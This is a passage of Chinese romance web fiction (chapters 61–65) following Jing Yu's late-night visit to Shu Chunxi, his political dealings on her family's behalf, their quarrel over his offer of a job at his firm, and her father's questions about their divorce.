敬渝喉头克制地滚动了两下,嘴皮子还是不动,任她在自己唇瓣上又拨弄又轻咬,仿佛睡死过去了一样。 最后,身上的女人挣扎着收回手,原先亲他的时候,她已经翻过来把他压倒,趴在了他身上,现在更是一起身坐在床上,背对着他不搭理他了。 察觉到身上的重量消失了,敬渝才睁开眼睛,也跟着坐起身来,挪动了双腿,从后面把舒纯熙给抱住,咽了下唾沫,才极其小声地说: “你就饶了我吧,纯熙。” 被拥在怀里的女人努了努嘴,听他这话,就知道必然是什么他没脸说出口的话。 好啊,原来他果真早就变坏了,只不过面上能装而已! “纯熙,你还没回答我的问题呢,愿不愿意跟我谈恋爱,做我女朋友?” 敬渝又咳嗽了一声,连忙转移起话题来。 被男人高大身影拥住的女人果然被吸引了注意力,打了下他的胳膊将他推开来,撇撇嘴说: “你想得美,动动嘴皮子就想让我做你女朋友,世上还有这么好的事情呢?” 说完,她扭过头来看他一眼,两片蝶羽般的黑睫再向下一扫遮住了眼睛,唇角朝两边轻扯,带着淡淡的愁绪,有点幽怨的模样。 敬渝笑了,唇角牵起来浅浅地笑着,点了点头,盯着她的眼睛很郑重地说: “那我追你好么,你不要先考虑别人,得给我拿第一个号码牌。等我找到办法了,就来娶你回家,行不行?” 他也开起玩笑来了,毕竟这个法子最终的“检验者”,就是眼前的这个女人。 直看着舒纯熙翘起唇角,哼了一声,总算露出一副颇为满意的样子,敬渝才将额头与她一抵,良久才分开,覆唇轻轻地吻了一下。 “你什么时候走啊?” 温存了好一会儿,舒纯熙扬起小脸又开始操心起这件事来。 她想叫他别走,哄着自己入睡,但是,等到明天早上他再走的话,说不定就会被父母发现。 一想到这种可能性,她直接一激灵,有点害怕拽住他胳膊,然后又看见男人到现在裸露着大半个身子的样子,有点不好意思地垂下眼,讪讪地收回手来, “我怕爸爸妈妈会发现嘛。” 语调干巴巴地,陷入了纠结之中时,她的手上覆上男人的大掌,被他轻拍了拍。 “没事,我先哄你睡着,然后就走,不会让伯父伯母知道的,别担心。” 他刮了刮“坏女孩”的鼻子,笑得难得有些少年意气,然后松开他去床头够自己的手机,打电话给等在外面的司机交代了几句,便回来拥住她再度躺下。 “你去关灯。” 女人的声音脆生生的,敬渝便下了床,将所有灯都给关了,再回到她身边。 一具温热柔软的躯体在床上翻滚了一下,撞进他的怀里,找了个舒服的姿势,心满意足地睡下。 房间里没了光亮,只有月光透过玻璃门撒在地上,有着隐约的光亮,静谧又安宁。 “你给我讲个故事听,讲得好的话,我看看要不要给你加点分?” 怀里的女人扬声说了句。 黑夜之中,男人的面庞被柔和成一种温柔又带着点宠溺的模样,低沉地“嗯”了一声,眼睛动了动,静静地开口,说: “从前呢,有一个男生,身后总是跟着一个小女孩,叽叽喳喳绕在他身边,要他做这做那,要他哄要他陪她玩。起初,男孩觉得有点烦 ,他也不知道,只是比自己小了两岁,为什么这个小女孩就有这么多幼稚的话可以说。 所以,他想尽一切办法,在不被父亲教育的情况下敷衍她,比如在不得不陪她玩捉迷藏的时候,把她一个人留在乱石园里,自己跑回书房里面去看书,等到天要黑了再去领她回来……” 说到这,敬渝停顿了一下,有点不好意思地低头看了一眼怀里的女人,回应他的则是胸膛上被拳头的一砸。【你现在阅读的是 】 60-70 第61章 低笑了一下,他再度开口,继续说: “总之呢,两个人就这样磕磕绊绊地一起长大,女孩黏人得很,男孩也渐渐习惯了她的存在,不再想着要躲开。十岁,十二岁,十五岁,十七岁, “某一个周五的下午,男孩下午放学的时候,却没有发现总是会在窗外等自己的女孩。他知道初中部周五下午会少一节课,所以她才总是会绕过来要跟自己一起回家,但那一天他却并没有等到她。 “男孩不知道发生了什么事,又在教室里等了一会儿,也没有看见她来,破天荒地主动去初中部找她,才知道她下午就被父母给接走了。然后,他让司机先开车去她家,到了她家后,他才从女孩的父母口中得知她得了传染病,暂时不能见人,得隔离休养。 “女孩的父亲问他,要不要上楼,隔着房门跟女孩说几句话。 男孩想了想,还是拒绝了。 “女孩的母亲拿出电话来,告诉他,虽然暂时不能见她,但他可以跟她说话,听听她的声音。 男孩不习惯这样温情的感觉,他不适应,光是想想就要起鸡皮疙瘩了,依然拒绝了。 就这样,男孩离开了,走出大门时,脚步却有些迟疑了,鬼使神差地绕到女孩房间的外面,仰头朝着上面远远地看着。 阳台上,女孩常常会晃的那架秋千上,并没有她的身影。 玻璃门也紧紧地关着。 他张望了好一会儿,也没有看见女孩。最后,终于不得不承认,其实他自己并不适应那种感觉,心里竟然有种隐隐的失落。 那大概是他第一次在长大的过程里停下来,认真审视了一下自己身上的某种情愫。 或许有些东西,早已经从惯性,变成了一种更深的、难以割舍的情感了,那很奇怪,又实在难以挥散走开,一点点,萦绕在心头,但他也并不怎么抗拒。 低下头,男孩听凭心里的声音,望着别墅的外立面观察了起来,彼时他更想的竟然是找一条路线直接爬上去,翻进去去见她,并且很快就找出了一条可行的路来。 但他最后还是没有这么干。 男孩是一个理智、清醒、严肃、克制到一分一厘都像用标尺刻出来的人,他压得下心里面的那种冲动,也做得出更正确的抉择。 所以他还是转身离开了。” 近乎呢喃的最后一句话越来越小,最后戛然而止。 敬渝悄然往后退了点,去看舒纯熙的表情,只见怀里的女人用脑袋蹭了蹭他的胸膛,带着即将入睡的困倦嘀咕了一句, “怪不得,我就记得你明明都没关心过我……” 尾音拖长,她抿了下唇,心满意足地睡过去了。 第62章 男人望着她,微笑着,目光有些飘远,几息之后,已经表现为一股子挥不开散不去的莫名情绪。 说是惘然,但他眉心之间已经微微皱起,执拗地不曾放开来。 若说是惆怅,除却将胸膛里面鼓鼓胀胀的感觉,正被自己紧紧攥住不愿放下之外,脑子里却还不能给出一个清晰的判断。 她很好,真的很好。 反而是自己,始终没有做得足够。 现在回想往事,一直以来坚守的规矩准则,仿佛也没有那么地坚不可摧。 至少,那时候,还有后来…… 若他从没有压抑克制过自己内心的冲动,不是非要做一个冷静理智到淡漠的青年人,他们还会走到那么阴差阳错的地步么? 敬渝闭上眼睛,脑海里甚至又一闪而过某个曾缠绕住他的、隐秘的暴戾冲动。 若那时,自己根本就不愿意尊重她的想法,而是强硬地要将她从波利给带回来,他们后来又会怎么样? 纯熙曾经担心的那种年少恋人因利益走到陌路的情况真的会上演么? 唇角勾起一点若有似无的苦笑来,胸膛里又清晰无比地绽放开要将他给腐蚀的酸涩来。 男人垂眸,于黑暗里默然凝视着怀里的女人,她的头就靠在他的胸膛上,整个人全身心地依赖着自己。 他的身体依旧温热,但那里面流淌着的血液却一步步随着思绪凝滞起来,以至于他甚至不敢伸出手去触摸一下她的面庞。 她害怕的事情当然不会发生。 除了她,他在这世上早已经孑然一身,再无任何可以牵挂的人了。 可他却没有清清楚楚、明明白白地让她了解这件事,甚至那时候,她就是曾那样地担心、那样地害怕过。 那个问题,她也是只问了一次,也就不抱希望地退缩了。 而他究竟在想什么? 彼时,舒家突来的横祸本就令他难以决断、举棋不定,见到来找自己的舒纯熙,他更是立刻就明白了,眼前的未婚妻子,就是舒怀宁为自己准备的一步好棋。 舒怀宁要她问的,根本不是什么他会不会立刻同她结婚的问题。他要的,是自己与敬家同他站到一起,一脚踏入党争的洪流中,亮明牌支持洛明阳。 但敬家不会参与党争,父亲临走之时,亦是谆谆教诲。 于是他垂下了眼眸,以沉默回避了她真切的目光,表明了自己的态度。 纯熙当然失望,很快就甩手离去。 以他对她的了解,她或许还会再想别的办法来达成目的,总之不会罢休。 那天他没有去追,留在书房里,静坐在一片日暮下的阴影中,仿佛化身为一根冰棱,煎熬之中越来越坍塌下去。 无论朝哪一边选择,他都难以心安理得地就此抛下另一边。 他在紧皱着的双眉之中,甚至生出了一种隐约的自厌情绪。 如今想来,那时候他给舒纯熙的所谓理智清醒的婉拒,又何尝不是彻底投降前的自欺欺人呢。 他的心偏了一点。 接下来的半个月里,他就这样一面处理着紧接而来的所有事情,一面在心海里陷入了自我厌弃的放逐之中。 他让人准备起了婚礼,再派人去取婚戒。 只是他自己,却还拖延着,没再主动去见舒纯熙,却也说不清楚,是不是在等她再来找自己。 两年前他们同住在一个屋檐下的最后一段时光,就是以他的失意和赌气来断送的。 现在想想,那时候的他何其可笑? 他二十五年来最为举步维艰的一次为私心而妥协,紧接而来的就是他不符合年纪心智的、迟来的自负与幼稚。 他以为自己为了舒纯熙一个人,向她父亲近乎威胁的试探做出了那样妥协,甚至搭上了整个敬家的未来,是多么大的牺牲和委屈。 所以他确实是鄙夷自己的,既恼恨自己,也同她赌上了气。 她为什么还不来哄他一小下呢? 黑夜里死寂的男人露出一个勉强的自嘲的笑容,唇角刻意向上扬着,与先前一张沉着的脸颊对冲着不剩下什么。 那双黑曜石般清冷的眼睛无望地睁着,虚着焦,仿佛陷入了一种极其浓重的情绪里面。 他现在只想知道,他曾经怎么会有那种脸皮的? 第63章 喉咙里一阵干涩地扯紧,敬渝喉 头滚动咽下一口唾沫,终于放弃了那种很难看也很诡异的苦笑。 脑海里面先前的那个念头又重新浮现,叫嚣着,同时也在责难,如果他本不是这样的人,那么后来的一切就都不会发生。 他所谓的那些相处之中不可跨越的线不可笑么? 他为什么不能霸道地将她带回来,就算她真的生气也不管不顾。 纯熙或许真的会生他的气,会讨厌他,但是那又怎么样呢?他不会真的继续做违背她意愿的事情,也不会真的伤害她。 他需要付出的那点代价根本就不算什么。 至少,至少她就不用忍受在波利的那种生活整整两年。 他怎么能任她在那样糟糕的婚姻生活里挣扎? 他不舍得,如果他能早点知道那些,无论如何他都舍不得的。 叫人时时揪心自问的,如今已并非是那种失去她的苦痛了,更是悬在头顶无时无刻不在凌迟的自责。 以至于一两分称得上是邪念的火苗,曾翻涌在心海广袤的风波里,虽然很快被他收拾好,最近这些时日,竟然还会以另一种面貌卷土重来。 他已然一遍又一遍地在心里设想另一种可能性,迷茫自己是不是过去都做错了,至少从结果上来看,他确实大错特错。 可是他该变成另一种令人陌生的样子么,那样的他,纯熙会感到害怕吗?她还会喜欢他吗? 千锤百打的心脏依旧在左右剧烈碰撞着,那无边漫游的重复思绪仿佛非要头破血流才会停下来。 一动不动如同静止了的男人只是半侧躺在床上。 不知何时,胸膛忽然间被一颗脑袋蹭了蹭,敬渝颔首,看合着双眼的人动了动脖子,似乎不满现在的睡姿,皱着眉头嘟起嘴唇,紧接着边抬起一只手,朝着自己的下腹还算有力地推了一下。 如同立刻接收到什么无线电信号一样,男人的手没有继续禁锢着她的腰身,顺从地就将掌心向上一翻,往后横搭在床垫上,等同于让开了她身后的路。 差不多是他手移开的瞬间,怀里的女人在睡梦之中也感受得到,背后空了,便自然地翻了个身,背过去压住他胳膊。 她的上身在他右臂上碾了半圈,转过去后低低地嘤咛了两三声。那只胳膊的主人便配合地将手给抽出来,确保不会再硌到她。 舒纯熙弓起身子,寻了个安稳的姿势睡着,张开唇又合上,传出一点“啧啧”的声响,呼吸再度绵长。 这么一点现实里的动静总算将男人的思绪给拉了回来。 他凝视着再度睡熟、乖顺地不再动弹的女人,目光如有实质地落到她的脊背上。 那一箩筐横冲直撞的思绪总算在心里一点一点地沉下去,仿佛降落在地,他盯着舒纯熙背后微微凸起一点的肩胛骨,心里的那种情绪如同一块石头啪嗒砸在地上。 他不知道自己该如何去弥补她,也不知道自己又能如何去弥补她。 说来说去,其实他最痛苦最自责的,不过是这个罢了。 他要怎么去赎自己的罪,怎么才能将她心里的裂缝都给抚平? 敬渝陪着舒纯熙躺了半个多小时,在无望之中翻来覆去地揪着这个问题,最终只收获一种类似于绝望的平静情绪。 夜里一点,他悄无声息地从床上起身,几乎没有弄出什么动静,下了床后俯身捡起衣服一件件穿戴好。 离开前,抿着唇的男人静静地站在床边,望着床上那个蜷得像只虾米的身影,绕过去把被子又提了提,蹲在地板上盯着她的脸再看了一会儿,而后从鼻中颓然地叹出一口气,才将流连不舍的眼神收回来。 男人原路返回,摸黑离开了敬宅。 第二天。 舒纯熙醒来的时候,左手朝边上下意识一移,只摸到丝绸床单传来的一片凉凉的触感。 确认敬渝已经走了,女人的指尖却陡然一蜷。 她侧转过身子,朝着阳台的方向侧躺着,搭眼望着身前空荡荡的大半张床。 一时之间,竟然也说不出是庆幸他确实走了,她不用再担心他被爸爸妈妈给“逮住”,还是隐约有了点不适应,毕竟之前在敬宅的时候,他都是会抱着自己一直等到她自然醒过来的…… 心里思绪百转扭捏,女人只好在柔软弹性的大床上翻滚了一圈,再晕乎乎地从床上爬起身来。 转头的时候,床头柜上放着一只用深蓝色丝质手帕叠出来的小老鼠,舒纯熙望见后的第二息,总算展现出这个清晨的首个明确的情绪。 她绽开了淡淡的笑容,很快就凑近过去,两只手呵护地捧起那只小老鼠,左右转动了一下手掌心,端详了十几秒。 老鼠的尾巴处,还绣着敬家的族徽,是一只麒麟,周遭绕着两朵权杖般的野百合花。 女人唇角扬起的弧度始终未散,拿着那只小老鼠,抽出一只手来去找自己的手机,然后给自己手上的东西拍了张照片发过去,打字说: “留一只老鼠给我是什么意思,我跟老鼠很相称?” 柔软的那只面料玩偶鼠老老实实地待在她腿边,觉得自己很无辜。 那头好一会儿没有回消息过来,舒纯熙坐在床边晃荡着双腿悠悠地等着,也不知道他是真在忙,还是正紧拧眉头,纠结地想该怎么解答自己的问题。 畅想着,脑海里的目光从他蹙起小山峦的眉峰流转而过,心脏如被春夏交际的暖风吹拂过一样,身体中荡漾着一种酥麻奇特的情绪。 这感觉好像还不错。 “叮咚。” 舒纯熙停下双腿的动作,偏头去看亮着的手机屏幕,敬渝回了消息过来,解释道: “不能陪你到天亮,所以才折了一只小鼠放在床头的。” 所以,那只小鼠倒是他自己咯? 舒纯熙抿紧唇,偏头瞪了一下那只小鼠,还没来得及打字说点什么,那头又追着补充了一句,到达的速度与那头人斟酌的态度简直一致。 “你不喜欢吗?” 但看这几个字,倒是不怎么客气,不过中间隔了这么一会儿的空隙,低头盯着手机屏幕的女人几乎是立刻就能猜到这句话是怎么打出来的。 那人一定伸出手指,却又悬着点不下去,于是收回去,而后往复一两次,最后才沉着脸一鼓作气地把字打出来。 “你……不喜欢吗?” 这句话应该带着点他那种小心翼翼的犹豫跟迟疑来读。 一这样想,舒纯熙就直接笑出声来,在床上畅意地滚了小半圈,然后再托起那只小东西,走到玻璃柜前打开,把它放在了自己的那一堆精细小物品之间。 而后关上玻璃门,她才走回床边。 手机那头的人已然又将上一条她还没有回复的问题给顶了上去,大概是自顾自脑补了她的答案,他又发了一条,说: “我现在只会那个,等会我去学点别的,你要是不喜欢的话,我下次不折小老鼠了。” 委屈巴巴。 舒纯熙在脸上模仿出一个看似可怜、实则搞怪的表情,眉飞色舞之后捧着手机又在床上滚了起来。 以往早上,她都要懵好一会儿也不愿意开启新的一天,今天的睡意和迷茫,倒是都被他径直给赶走了。 舒纯熙只顾着笑,一个人在床上促狭够了,才站起身去洗漱。 她今天起得不晚,下楼时父母正坐在客厅里看早间新闻。 杨曦听到下楼的动静,很快站起身朝餐厅走去,让两个人都过来吃早饭了。 早餐的吐司很松软,小面包也烤得酥酥脆脆。 看着坐在对面的女儿将面前餐盘里的早餐都给吃完了,并且嘴角始终挂着压不下去 的莫名笑意,像是一副对今天的早餐很满意的样子,杨曦放下杯子,又悠悠地看了一眼身旁的舒怀宁。 “怎么了,有什么高兴事?” 男人也观察了一下女儿,直接说了出来。 舒纯熙一抬头,看见的便是两张好奇的眼睛,嘴角的笑意如同被抓包了一样立刻消下去,她低头收拾了一下刀叉,讪讪地说: “没什么高兴事,就,就没什么。” 说完,不等他们再问,女人站起身,丢下一句“爸爸妈妈慢吃,我先回房间了”,就连忙离开了餐厅,一路碎步地快走起来。 从二十几年前就知道敬渝的存在、好几年前就心照不宣两人彼此喜欢的杨曦跟舒怀宁双双沉默,望着空荡荡的餐厅口,仔细琢磨起了女儿这仿佛已很久未出现过的类似害羞的反应。 更是难得体会了一次抓包到女儿早恋后的那种古怪的感受。 “小熙之前为什么跟敬渝闹离婚?” 良久的寂静后,依旧是舒怀宁率先开口,疑惑地问道: “她跟你说了吗?” 杨澜放下手中餐具,朝后一仰靠在椅背上面,仔细回想了一下昨天晚上想去跟女儿温情夜聊却没成功的事,摇了摇头。 但是一偏头,又看到舒怀宁的样子,没好气地翻了个白眼,说: “你要真想知道啊,就自己去问!” 第64章 不等舒怀宁露出讪讪的表情来,杨曦已然转过脸没再给他眼神了。 舒怀宁于是打定主意,要找个合适的时机将这件事问明白,反正如今他们三个人都在家里待着不出门,又不愁没有开口的时候。 。 与此同时,北省,首都。 暑气正盛,茶室里的两个人对坐着,彼此的目光都紧盯着桌上的棋盘上,正在有来有回地下着棋。 一局棋下了将近四十分钟,前半场敬渝同郑明波尚且你来我往地有着交谈,尚有分寸地彼此试探着。 慢慢地,便都沉寂下去,只是手上的动作没有停下,二人愈发斟酌地扑在了棋盘上面。 一字落定,敬渝赢了。 他抬起头,看着对面男人并无波澜的神情,一颗心沉着,勾起唇叹了一口气,开始伸手捡棋盘上的白子。 对面的男人并未动作,两手覆在双膝上,正襟危坐。 “家父去得早,他年轻时的许多事我都无从知晓,更遑论与诸位叔伯兄长的渊源。不过有一桩事,我倒是至今还记得。” 敬渝慢条斯理地开了口,神色如常,将手中聚拢的几颗棋子“哗啦”一下扔在右手边的棋罐里,坐回冰凉的木椅上,抬起眼皮子与眼前的男人对视,缓缓道: “十六年前,敬家的一艘海上商队从欧罗洲返程的途中,偏偏绕了一段路,从桑罗洲接上了刚刚生产的一位精灵族女子,还有她诞下的一对双胞胎女婴,而后才返回凛洲。” 郑明波娶了一位精灵族人做妻子的事并非秘密,但凛洲人只知道她来自欧罗洲,而从未想过,她其实是来自桑罗洲。 至于凛洲的人族郑明波为何会与桑罗洲的精灵族人相遇,本就是一桩秘辛,更何况,十六年前,孤身处在桑罗洲的郑太太还诞下了一对双胞胎。 双胞胎,在精灵族人的传说之中,是十分不详的象征。 如果当年没有敬永安的接应与安排,她们存活下来的可能性微乎其微。 敬渝点到为止,不再说话,再度探身向前,继续收拾着棋盘。 良久,郑明波不再年轻的声音响起,问对面的年轻人说: “老敬总待我至真至诚,当年的事,我曾在心中起誓,必会报答。只是这么多年过去了,老敬总没有什么用得着在下的地方。如今,敬总所托,我不会食言。” 敬渝“唔”了一声,微笑着颔首,继续手中的动作。 郑明波也抬首,将属于自己的黑子一颗颗捡起来,放在了棋罐中。 “下一届的总统人选,郑院长属意的其实是仇总理?” 敬渝收完了棋子,抬头去看郑明波,嘴角噙着礼貌的笑容。 这句话一出,郑明波面无表情的面具都是出现了一丝少见的裂纹,不过很快就被藏了起来。 他与精灵族千丝万缕的关系,敬渝已经知道了,如今连这个他也猜到,怕就怕,敬渝能从这两者间嗅出背后的蛛丝马迹。 “敬总……” 郑明波抬起头,有些迟疑地望向眼前的敬渝,他知道这人如今已经是舒怀宁的女婿了。 不过坐在对面的人没有什么太大的反应,依旧端着浅笑,平静地对自己说: “闲聊罢了,郑院不用在意,我对这些事并不感兴趣。” 男人无端松了口气,听明白了敬渝的言下之意。 舒家是他的岳家,他帮舒家平反,也就仅此而已。 至于自己,做完这件事,也就还完了十六年前的那件大恩。 往后的事情,敬渝不会干涉。 这样最好不过了。 两个人没再说什么,敬渝婉拒了郑明波吃午餐的邀约,称自己下午的飞机回南省,起身告辞。 郑明波将人给送到茶室门口,目送敬渝的车远去。 轿车朝着机场疾驰而去,坐在后座的敬渝从内兜里拿出手机来,看见了舒纯熙回复自己问候早安的信息。 一张照片拍了早餐,底下浅浅地说了一句: “杨女士前几天包的饺子。” 肉眼可见的,捧着手机的男人眉眼弯起来,嘴角的笑容也真心惬意起来。 伸出手,他敲了几个字发过去。 “等下坐飞机回去了,机场不是有小沙洲的那个奶茶品牌么,要喝什么,我买了送去给你?” 发完这条消息,他就盯着手机屏幕在等回答。 没等太久,对面回过来的先是一条消息,问: “你送来我家吗,你不忙?” 敬渝笑了下,难得地说: “是有点忙,那怎么办,我让人接你来公司,当面交易?” 。 南省。 秋老虎忽然张牙舞爪的午后,舒纯熙装扮齐整,头上还别出心裁地带了一顶有波浪形帽檐的复古礼帽,荡漾着淡紫色绸缎的裙摆走出了舒宅大门,收伞,钻进黑色轿车的车厢里。 车驶向它原本出发的地方,是特意来接她的。 到了暮帆商会门口,舒纯熙走进大厦内,目光还没有在冷气很足的敞亮大厅里扫视多久,就看见远处电梯间里走出两个人,后面的是郑徽。 而前面的男人步履更快些,一会儿的功夫已经来到她跟前站定。 “来多久了?” 女人眨了眨眼,没来得及说什么,垂在腰侧的手就被一只干燥温暖的手掌给托起,呈微微的交握姿态。 唇一抿,她还没反应或者是适应过来,眼前男人的身躯就遮住直直照过来的顶光,近乎压过来一般,低沉的语调里有些歉疚,同她说: “我是想早点下来等你的,但是没能做到,对不起。” 现在倒是她先到了,他也反而成了来接她上去,而不是早在底下等着她到。 抿着的唇轻轻松开来,女人僵直着脊背,停滞的动作里茫然明显多过了抗拒。 下意识觉得,其他人好像都会看到他们两个现在的样子。但得益于今天的帽子,遮住了她的余光,便也看不见更多,亦验证不了她的设想。 舒纯熙便轻轻地摇了下脑袋。 身前的男人也在这时向她身边靠过去,同她并肩站到一处,然后手掌不轻不重地将她牵着。 “跟我走吧。” 被拉着朝电梯间迈步的女人仿佛失去了抵抗能力,被敬渝牵着向前走的同时,头抬 起来愣怔地望向他的侧脸,实在是适应不过来他现在的举动。 这是暮帆商会,他工作的地方,而且是大庭广众之下啊。 男人察觉了她的视线,转过头来对她笑了一下,淡淡地问: “怎么了,看我这么久?” 舒纯熙不知道怎么说,默默地移开目光垂头,跟他站在电梯里面。 到了敬渝工作的顶层,进了办公室,敬渝拉着舒纯熙去沙发上坐。 茶几上放着两杯不一样口味的奶茶,还有一盘精致的蛋糕茶点,装在白瓷金边的圆形托盘里面。 甜甜圈上白色的巧克力与粉色糖霜诱人无比,舒纯熙喝着杯里的,看着盘里的,喝下一大口醇香红茶后,开口说: “我们一人一半吧。” 男人闷笑出一声来,将擦手的湿巾放下,探身向前,拿起一旁的刀叉,静静地将所有茶点都给切成两半。 “好了,吃吧。” 静默之中,舒纯熙吃完了半块甜甜圈和半块蓝莓慕斯,看着剩下的,又喝了一口另一杯口味的奶茶,比较了一下,把其中一杯推给他,眨了眨眼说: “剩下的都是你的。” “好。” 敬渝无奈地点点头,接过奶茶喝了一口,又伸出手去拿一块司康饼咬了起来。 旁边的女人吃饱喝足,满意地仰靠在皮质沙发上面,偏过脸来看吃东西的敬渝。 虽然刚刚这些东西很好吃,但她眼睛一转,忽然又想,他们还没谈上恋爱呢,她就心疼起他来了,还巴巴地跑到公司来接受他的投喂,省了他来找自己的时间跟功夫。 虽然他带的东西是很好吃,而且她也确实是有点想见他了,但是…… 怎么看,都有点不对劲儿。 这感受在敬渝把剩下的东西都给消灭完的过程里,越来越聚集成一团球,滚在舒纯熙胸膛之中。 终于,她挺直肩背准备说点什么,旁边的敬渝放下擦手的湿巾,先她一步开口,忽然道: “正好今天你来了,等下就让郑徽带你去公司的各部门转转。” “嗯?” 女人懵起来,原先想好的发难言辞给抛在了脑后,疑惑地说: “干嘛呀?” “你大学毕业之后,是不是就没有上过班?” 敬渝牵起唇角,柔柔地望着她,放低声音,更温和地建议道: “让郑徽带你去各个部门看看,说不定有你感兴趣的工作内容呢?你要是感兴趣,就额外再加一个录取名额给你。” 最近正好要招一批员工,这也是为什么他今天将她约到公司来。 “纯熙,来公司上班吧,试试看,会有不同的收获的。” 舒纯熙张了张嘴巴,对着突如其来的提议有点无措。 而斜右方的男人看着自己,还在等一个回答。 “你,” 女人不知道该说什么,两只手纠结在一起。 不得不承认,大学之后与社会的断层,以及两年井底之蛙的婚姻生活,好像已经磨灭了她很多的自我认知。 “我……呃,你真的觉得,我可以在商会工作吗?” 第65章 敬渝望着她的眼睛,脸上的神情依旧那么沉着,极轻且自然地点了一下头,然后问她: “你愿不愿意开始工作,试试看?” 舒纯熙大学学的是艺术品管理,这个专业跟暮帆商会的一部分业务算得上对口。 当初选专业,也是父母、敬渝跟她一起探讨过后才定下来的。 其实那个时候她就已经确定了,往后不会同父母一样走从政的道路。 只不过,大学甫一毕业,她的人生就被席卷进了一场洪流之中,本该在后面的结婚进程反而被提到了工作、事业的前边。 在莫瑞恩尔的时候,她虽然陪着敬亭出席过不少公司方面的场合,也陪着婆婆操办过一些社交晚宴,但那些都称不上是工作。 久而久之,她自己都忘记了,其实她还是可以出门去找工作的。 要来暮帆商会工作么? 舒纯熙揪着手指,开始纠结起来。 “你不要有压力,不需要你做太多的事,” 敬渝凑近了些,倾身将她的手托在自己掌中,语气轻松地说: “我只是希望你能多尝试一点可能性,好不好?” 半晌,女人终于“嗯”了一声。 给完回答,她和敬渝对视一眼,而后竟是有点无措地垂下头来。 不知道为什么,说起学习和工作上的事情,好像明显比她更有经验的敬渝会流露出一种强势的气场,让她如同回到过去的感觉,或许更甚。 总之,这感觉很古怪,她怕自己根本就做不好。 就在她沉浸在自己的思绪里逐渐想得深入时,身旁的男人放下她的手,绕到旁边来挨着自己坐下,伸手揽住她。 “是不是……我的话让你有压力了?你要是不想来的话,也没有关系的,告诉我,嗯?” 被拥在怀抱里的人朝他那边转过去,倚向他的胸膛,一根手指将他的黑色领带给拨开,目光盯着白衬衫上的纽扣,伸过手抠动着中间的一粒,过了好一会儿,才闷闷地小声说: “但是我学的那些都不怎么记得了,我做不好的,你想看我笑话嘛?” 说完,像是跟那粒纽扣较上劲儿来一样,她胡乱揪了一把,将他的衬衫中间给拽得皱成一块。 顺着自己说出口的话想着,不知哪根筋搭错了,舒纯熙忽然用力拍了他一掌,要将他推开来。 “诶。” 男人眼疾手快,连忙将试图站起来的人从后面给抱住,他拥着怀里的人,探身从前面去寻她的面庞,只见舒纯熙的眼眶顷刻间已经红了,见他看自己,直接扭过脸去不给他瞧。 “我真没有这个意思,是我错了,我错了,你不想来的话就不来,是我没有考虑周全,对不起嘛。” 女人嘴角沉着,突然酸溜溜地说: “你要是更喜欢有自己事业的女人,那你去追她们好了,我也犯不着上赶着来公司见你。” 语罢,女人泥鳅般扭动了几下,伸手拽男人的手,无果,便气急败坏地一连砸了他好几掌。 “放开我,我要走了!” 身后的男人双臂环着她的腰身固若金汤,收束得反而越来越紧,将头抵在她肩背上,弱弱地说: “我错了,怪我不好,是我说错话了……” “是我错了!” 女人扬声打断他,气呼呼地说: “都是我的错,几天没见就忍不住,才会上赶着跑过来找气受!” “不是,不是这样的,” 敬渝连忙摇了摇头,小声解释道: “是我心急了,我想你早点能上手公司的事情,和我一起管公司……” “我为什么要管你公司的事情,跟我有什么关系呀?!” 舒纯熙反问的语气不好,脸色也不好。 身后的人支支吾吾,最后才默默地说: “那我们结婚以后,你也不想跟我一起管理公司吗?” 原本还在挣扎的女人动作停了下来,几秒后,说: “我们不会结婚。” 说完,她胸膛起伏了一下,呼吸有些不稳。 与此同时,男人拥她的手臂也没了原先那点狠劲。 敬渝睁着眼,盯着面前的某处,试图判断出来她这句听上去并不是气话的句子是什么意思。 他甚至想得愣了神。 晃神的功夫,双臂轻轻松松地就被扒拉开来,舒纯熙从沙发上站起身,去衣帽架上拿了包和帽子,几乎没有停留地朝着大门的方向走。 沙发上还坐在原地的男人呼吸依旧停滞着,总算下意识地也站起来,两步跨坐一步追上去。 大门半开,那淡紫色的纤细身影已经消失在一扇门后,敬渝偏过身越过门,总算在不远处的拐角追上脚步很快的女人,伸出一只手臂将她手腕给握住。 嘴巴张开,很快就带着迟疑与试探,轻声唤了一句她的名字,藏不住心中已经浮上来的小心翼翼。 “纯熙……” 秘书室的门打开来,郑徽出门撞见 的就是这一幕。 而老板的话音都还没完全飘落到地上。 郑徽望着几步外两人拉扯的样子,紧张地咽了下唾沫,抬起的目光和移过来扫了眼自己的眼神对视上,他有点尴尬地扣住手中文件夹,只好说: “敬总,有点急事。” 而且还是在这眼下这当头,他硬着头皮也要先说的事情。 男人还握住的手掌力度没有减弱的意思,舒纯熙本打算不回头,但也听得出来现在是个什么情况。 她后退一步和敬渝几乎并肩,没有挣脱,只是淡淡地说: “麻烦安排车,送我回家。” 已然是让步。 敬渝这才松开手,克制地望了一眼右手边的女人,目光在她垂下的眼睫上停留了一会儿,才转向郑徽,颔首示意。 郑徽回了秘书室,打电话安排车,然后让游之翎送舒纯熙下楼。 “注意安全。” 站在原地未动的男人偏头,冲着离开的身影嘱咐了一句,又道: “等我处理完事情,我再给你发消息。” 回应他的只有鞋跟在地板上踩出来的规律响声。 男人敛眸听了几息,直到那声音消失在电梯间,不再传来,他才抬头望向郑徽。 “敬总,周政司的秘书刚刚来了电话。” 郑徽跟上敬渝的脚步,两个人朝着办公室快步走去。 一扇厚重的双开木门被合上。 铁门打开,敬家的车驶进舒宅内。 舒纯熙从车内下来,走进大门,在上楼之前,遇上正从客厅站起身不知准备去哪里的舒怀宁。 “去见敬渝了?” 舒怀宁笑吟吟地问了一句,将报纸随手掷在茶几上,立在原地询问了一句。 楼梯阶前,骤然闻言的女人刚刚踩上一阶的脚停顿了一下,然后退下来,转过身朝着客厅走过去,站在了舒怀宁跟前。 两手攥住包袋手柄,舒纯熙有点不自在地“嗯”了一声,才接着问: “刚刚没看到你在,爸爸要去书房吗?” “对,你跟我来一下。” 女人于是抬步,落后半步跟在父亲后面,两个人穿过走廊到了一间书香气很重的书房里面。 “坐吧。” 舒怀宁丢下一句话,走到书架上翻找起了什么,最后拿来一本书,走回沙发旁,缓缓地问: “上次我忘了问,你跟敬渝,准备什么时候复婚?” 包放在双膝上,指节依旧攥着手柄的女人垂下睫毛,默默地说: “没有的事,我们不会复婚。” “这是什么意思?” 舒怀宁疑惑了,翻动书页的手顿着,思虑了一下,说: “上次我问他,他说都看你的意思,难不成,是你不愿意?” “是,” 回答的声音很小,但透着一股子不曾后退的执拗, “是我不愿意,所以我们现在没什么关系。” “这是什么意思?我倒是忘了问,你们之前为什么要离婚,是他哪里做得不好?” 